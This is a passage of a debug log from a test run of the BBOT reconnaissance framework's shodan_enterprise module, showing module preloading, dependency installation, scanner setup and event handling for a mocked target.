cache -2026-03-02 09:12:58,505 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-02 09:12:58,505 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-02 09:12:58,506 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-02 09:12:58,506 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-02 09:12:58,509 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-02 09:12:58,510 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-02 09:12:58,510 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-02 09:12:58,511 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-02 09:12:58,511 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-02 09:12:58,512 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-02 09:12:58,512 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-02 09:12:58,512 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-02 09:12:58,513 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-02 09:12:58,513 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-02 09:12:58,514 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-02 09:12:58,514 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-02 09:12:58,515 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-02 09:12:58,515 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-02 09:12:58,516 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-02 09:12:58,516 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-02 09:12:58,517 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-02 09:12:58,517 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-02 09:12:58,517 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-02 09:12:58,518 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-02 09:12:58,518 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-02 09:12:58,518 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-02 09:12:58,519 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-02 09:12:58,519 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-02 09:12:58,520 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-02 09:12:58,520 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-02 09:12:58,521 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-02 09:12:58,521 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-02 09:12:58,522 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-02 09:12:58,522 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-02 09:12:58,523 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-02 09:12:58,523 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-02 09:12:58,523 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-02 09:12:58,524 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-02 09:12:58,524 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-02 09:12:58,525 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-02 09:12:58,525 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-02 09:12:58,525 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-02 09:12:58,526 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-02 09:12:58,526 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-02 09:12:58,527 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-02 09:12:58,527 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-02 09:12:58,527 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-02 09:12:58,528 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-02 09:12:58,528 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-02 09:12:58,529 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-02 09:12:58,529 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-02 09:12:58,529 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-02 09:12:58,530 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-02 09:12:58,530 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-02 09:12:58,531 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-02 09:12:58,531 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-02 09:12:58,531 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-02 09:12:58,532 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-02 09:12:58,532 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-02 09:12:58,533 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-02 09:12:58,533 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-02 09:12:58,534 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-02 09:12:58,534 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-02 09:12:58,535 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-02 09:12:58,535 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-02 09:12:58,535 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-02 09:12:58,536 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-02 09:12:58,536 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-02 09:12:58,537 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-02 09:12:58,537 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-02 09:12:58,538 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-02 09:12:58,538 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-02 09:12:58,538 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-02 09:12:58,539 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-02 09:12:58,539 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-02 09:12:58,540 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-02 09:12:58,540 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-02 09:12:58,540 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-02 09:12:58,541 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-02 09:12:58,541 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-02 09:12:58,542 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-02 09:12:58,542 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-02 09:12:58,542 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-03-02 09:12:58,543 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-03-02 09:12:58,543 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-02 09:12:58,544 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-02 09:12:58,544 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-03-02 09:12:58,544 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-02 09:12:58,545 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-02 09:12:58,545 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-02 09:12:58,546 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-02 09:12:58,547 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-02 09:12:58,548 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-02 09:12:58,548 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-02 09:12:58,551 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-02 09:12:58,552 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-02 09:12:58,553 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-02 09:12:58,553 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-02 09:12:58,554 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-02 09:12:58,555 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-02 09:12:58,555 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-02 09:12:58,556 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-02 09:12:58,556 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-02 09:12:58,556 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-03-02 09:12:58,557 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-02 09:12:59,375 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:12:59,375 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:12:59,375 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-02 09:12:59,473 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-02 09:12:59,862 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-02 09:12:59,862 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-02 09:12:59,863 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-02 09:12:59,863 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-02 09:12:59,996 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-02 09:12:59,997 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-02 09:13:00,104 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-02 09:13:00,107 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-02 09:13:00,132 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-03-02 09:13:00,134 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-02 09:13:00,134 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-03-02 09:13:00,545 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-02 09:13:00,546 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-02 09:13:07,629 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-03-02 09:13:07,630 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-02 09:13:07,630 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-02 09:13:09,464 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-02 09:13:09,465 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-02 09:13:09,469 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:13:09,469 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-02 09:13:09,469 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:13:09,469 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-02 09:13:09,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:13:09,470 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-02 09:13:09,471 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:13:09,471 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. -2026-03-02 09:13:09,471 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" -2026-03-02 09:13:09,471 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-02 09:13:09,473 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/do47kbp8n30b3a4w0b06 -2026-03-02 09:13:10,186 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) -2026-03-02 09:13:10,187 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-02 09:13:10,187 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise -2026-03-02 09:13:10,254 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" -2026-03-02 09:13:10,254 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-02 09:13:10,254 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-03-02 09:13:10,255 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-03-02 09:13:10,256 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-03-02 09:13:10,256 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-02 09:13:10,256 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-03-02 09:13:10,257 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-03-02 09:13:10,257 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-02 09:13:10,257 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-03-02 09:13:10,257 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-02 09:13:10,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-02 09:13:10,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-02 09:13:10,258 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-02 09:13:10,258 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-02 09:13:10,258 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-02 09:13:10,259 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-02 09:13:10,259 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-02 09:13:10,259 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-02 09:13:10,259 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-02 09:13:10,259 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-02 09:13:10,260 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-02 09:13:10,260 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-02 09:13:10,260 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-02 09:13:10,260 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-02 09:13:10,260 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-02 09:13:10,261 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-02 09:13:10,261 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-02 09:13:10,261 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-02 09:13:10,261 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-02 09:13:10,261 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-02 09:13:10,261 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-02 09:13:10,262 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-02 09:13:10,262 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-02 09:13:10,262 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-02 09:13:10,262 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-02 09:13:10,262 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-02 09:13:10,263 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-02 09:13:10,263 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-03-02 09:13:10,264 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-02 09:13:10,264 [DEBUG] bbot base.py:111 Starting scan -2026-03-02 09:13:10,345 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_923ssiw12j -2026-03-02 09:13:10,346 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-03-02 09:13:10,415 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-03-02 09:13:10,415 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-02 09:13:10,415 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-02 09:13:10,416 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-02 09:13:10,516 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-03-02 09:13:10,517 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-02 09:13:10,518 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-03-02 09:13:10,518 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:13:10,520 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:13:10,520 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:13:10,521 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:13:10,521 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:13:10,522 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:13:10,523 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:13:10,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:13:10,524 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:13:10,525 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:13:10,526 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:13:10,527 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-02 09:13:10,528 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:13:10,529 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:13:10,529 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:13:10,530 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:13:10,530 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-02 09:13:10,530 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-03-02 09:13:10,531 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-02 09:13:10,531 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:13:10,531 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:13:10,533 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-03-02 09:13:10,617 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-02 09:13:10,618 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:3d52bf10ec2fc64e13ff9864b14540c9900896c9', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:13:10,618 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-03-02 09:13:10,619 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-03-02 09:13:10,623 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) passed post-check -2026-03-02 09:13:10,624 [DEBUG] 